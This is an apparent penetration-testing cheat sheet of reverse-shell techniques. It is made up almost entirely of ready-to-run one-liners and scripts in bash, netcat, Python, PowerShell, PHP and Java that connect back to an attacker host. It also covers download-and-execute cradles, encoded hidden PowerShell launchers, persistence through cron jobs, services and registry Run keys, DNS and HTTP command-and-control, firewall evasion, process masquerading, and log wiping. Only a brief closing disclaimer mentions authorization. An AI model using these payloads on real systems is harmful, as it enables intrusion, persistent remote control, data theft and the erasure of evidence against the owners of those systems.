Reverse Shell Techniques

Establishing command and control through reverse connections

Traditional Reverse Shells

Bash Reverse Shell

# Basic bash reverse shell
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
# Alternative bash methods
/bin/bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"
0<&196;exec 196<>/dev/tcp/10.10.10.10/4444; sh <&196 >&196 2>&196
# Using exec loop
exec 5<>/dev/tcp/10.10.10.10/4444; cat <&5 | while read line; do $line 2>&5 >&5; done
# UDP reverse shell
sh -i >& /dev/udp/10.10.10.10/4444 0>&1
# Set terminal for better UX after connect
export TERM=xterm-256color
stty rows 38 columns 116

Alternative TTY Methods

# script(1) quick TTY
script -qc /bin/bash /dev/null
# expect
expect -c 'spawn /bin/bash; interact'
# socat listener providing TTY
socat file:`tty`,raw,echo=0 tcp-listen:4444

Netcat Reverse Shells

# Traditional netcat (if -e supported)
nc -e /bin/sh 10.10.10.10 4444
# Netcat without -e flag (FIFO trick)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4444 >/tmp/f
# OpenBSD netcat similar trick
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4444 >/tmp/f
# Ncat (Nmap suite)
ncat 10.10.10.10 4444 -e /bin/bash

Python Reverse Shells

# Python 2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);'
# Python 3
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);'
# Python (threaded variant)
python -c 'import socket,subprocess,os,threading;s=socket.socket();s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

PowerShell Reverse Shells

# Basic PowerShell reverse shell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (iex $data 2>&1 | Out-String); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush() } ; $client.Close()"
# PowerShell one-liner (Base64 wrap workflow)
$Text = '$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){$data=(New-Object System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+"PS "+(pwd).Path+"> ";$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText = [Convert]::ToBase64String($Bytes)
powershell.exe -nop -w hidden -e $EncodedText

Specialized Reverse Shell Techniques

ICMP Reverse Shell

# Listener
./icmpsh_m.py 10.10.10.10 10.10.10.100

# Target
./icmpsh.exe -t 10.10.10.10

SMB Reverse Shell

# Using impacket to host share
impacket-smbserver share /tmp/share -smb2support

# On target
net use \\\\10.10.10.10\\share
\\\\10.10.10.10\\share\\reverse.exe

WMI Reverse Shell

# WMI trigger (example; ensure authorization)
wmic /node:"target.com" /user:"domain\\user" /password:"password" process call create "powershell -c IEX((New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1'))"

Firewall and Network Evasion

Port-Based Evasion

Port 53 (DNS)
Often allowed through firewalls
Port 80/443 (HTTP/HTTPS)
Web traffic typically allowed
Port 25 (SMTP)
Outbound sometimes open from servers
High Ports (1024+)
Less likely to be filtered egress

Protocol Tunneling

# DNS tunneling
iodine -f -c -P password tunnel.yourdomain.com
dnscat2 --dns server=tunnel.yourdomain.com

# HTTP tunneling (example stub)
python tunnelx.py -t http -s 10.10.10.10:8080

# ICMP tunneling
ptunnel -p 10.10.10.10 -lp 8000 -da target.com -dp 22

Traffic Obfuscation

# Base64 encode payload output
echo "command" | base64 | nc 10.10.10.10 4444

# ROT13 encode
echo "command" | tr 'A-Za-z' 'N-ZA-Mn-za-m' | nc 10.10.10.10 4444

# Custom encoder pipeline
python custom_encoder.py "command" | nc 10.10.10.10 4444

Persistence Through Reverse Shells

Cron Jobs

# Add periodic reverse shell (authorized tests only)
echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'" | crontab -

Service Creation

# Windows service (example PoC)
sc create "BackdoorService" binpath= "cmd /c powershell -c IEX((New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1'))"
sc start "BackdoorService"

Registry Persistence

# Windows Run key
reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v "Shell" /t REG_SZ /d "powershell -c IEX((New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1'))"

Multi-Stage Reverse Shells

Staged Payloads

# Stage 1: fetch & execute Stage 2
powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.10.10/stage2.exe','C:\\temp\\stage2.exe'); Start-Process 'C:\\temp\\stage2.exe'"

Fallback Mechanisms

#!/bin/bash
# Multi-protocol fallback shell (demo)

# Try TCP first
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1 2>/dev/null || {
  # Fallback to UDP
  bash -i >& /dev/udp/10.10.10.10/4444 0>&1 2>/dev/null || {
    # Fallback to HTTP polling
    while true; do
      cmd=$(curl -s http://10.10.10.10:8080/cmd);
      if [ ! -z "$cmd" ]; then eval "$cmd" | curl -X POST -d @- http://10.10.10.10:8080/result; fi;
      sleep 5;
    done
  }
}

Detection Evasion

Process Masquerading

# Linux
exec -a "systemd" /bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

# Windows (example; names only, not real rename)
powershell -WindowStyle Hidden -c "$proc=Start-Process -FilePath 'svchost.exe' -PassThru"

Memory-Only Execution

# PowerShell in-memory
powershell -c "IEX((New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1'))"

# Python fileless fetch/exec (Py2)
python -c "exec(__import__('urllib2').urlopen('http://10.10.10.10/shell.py').read())"

Anti-Forensics

# Clear command history (bash)
history -c; unset HISTFILE

# Clear common logs (demo; be careful / authorized)
> /var/log/auth.log
> /var/log/syslog

# Timestamp manipulation
touch -r /bin/ls malicious_file

Reverse Shell Automation

Multi-Listener Setup

#!/bin/bash
# Multi-port listener script (demo)
ports=(4444 4445 4446 4447 8080 8443 53)
for port in "${ports[@]}"; do
  ncat -lvp $port &
  echo "Listener started on port $port"
done
wait

Auto-Upgrade Script

#!/bin/bash
# Automatic shell upgrade script

echo "Upgrading shell..."

# Spawn TTY
python3 -c 'import pty; pty.spawn("/bin/bash")' 2>/dev/null || python -c 'import pty; pty.spawn("/bin/bash")' 2>/dev/null || script -qc /bin/bash /dev/null

# Set environment
export TERM=xterm-256color; export SHELL=/bin/bash
echo "Shell upgraded successfully!"

Encrypted / Tunneled Reverse Shells

SSL/TLS Reverse Shell (ncat)

# Generate self-signed certificate
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

# SSL listener
ncat --ssl --ssl-cert cert.pem --ssl-key key.pem -lvp 4444

# SSL reverse shell
ncat --ssl 10.10.10.10 4444 -e /bin/bash

SSH Reverse Tunnel

# SSH reverse tunnel
ssh -R 4444:localhost:22 user@attacker-server
# SSH with key auth (no shell, just tunnel)
ssh -i ~/.ssh/id_rsa -R 4444:localhost:22 user@attacker-server -N

Web-Based Reverse Shells

HTTP Polling Agent (Python)

import requests,subprocess,time

while True:
  try:
    r = requests.get('http://10.10.10.10:8080')
    cmd = r.text
    if cmd:
      out = subprocess.check_output(cmd, shell=True)
      requests.post('http://10.10.10.10:8080', data=out)
    time.sleep(2)
  except: pass

DNS Reverse Shell (Concept)

import socket,subprocess,base64

def dns_query(data, domain):
  q = base64.b64encode(data).decode().replace('=','') + '.' + domain
  try: socket.gethostbyname(q)
  except: pass

# Fetch command via DNS (placeholder)
# cmd = fetch_via_dns TXT ...
# out = subprocess.check_output(cmd, shell=True)
# dns_query(out, 'exfil.attacker.com')

Platform-Specific Reverse Shells

Windows CMD (Polling Batch)

@echo off
:loop
for /f "tokens=*" %%i in ('powershell -c "(New-Object Net.WebClient).DownloadString(''http://10.10.10.10:8080/cmd'')"') do (
  %%i > temp.txt 2>&1
  powershell -c "(New-Object Net.WebClient).UploadFile(''http://10.10.10.10:8080/result'',''temp.txt'')"
)
timeout /t 2 /nobreak >nul
goto loop

Java Reverse Shell (Concept)

import java.io.*; import java.net.*;
public class ReverseShell {
  public static void main(String[] a) throws Exception {
    Socket s = new Socket("10.10.10.10", 4444);
    Process p = new ProcessBuilder("/bin/bash").redirectErrorStream(true).start();
    InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
    OutputStream po = p.getOutputStream(), so = s.getOutputStream();
    byte[] b = new byte[1024]; int r;
    while (!s.isClosed()) {
      while ((r = pi.read(b)) > 0) so.write(b,0,r);
      while ((r = pe.read(b)) > 0) so.write(b,0,r);
      while ((r = si.read(b)) > 0) po.write(b,0,r);
      so.flush(); po.flush();
    }
  }
}

PHP Reverse Shell (Classic)

<?php
$sock=fsockopen('10.10.10.10',4444);$proc=proc_open('/bin/sh -i',[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']],$p);
while(!feof($sock)){fwrite($p[0],fread($sock,1400));fwrite($sock,fread($p[1],1400));fwrite($sock,fread($p[2],1400));}
?>

Reverse Shell Stabilization

TTY Shell Upgrade

# Python TTY
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Background the shell (Ctrl+Z), then on your box:
stty raw -echo
fg
# Quality-of-life
export TERM=xterm-256color; stty rows 38 columns 116
alias ll='ls -la' ; export HISTFILE=/dev/null
Legal & Ethical: Only use reverse shells within an authorized scope. Document every connection, secure any credentials, and remove persistence during cleanup.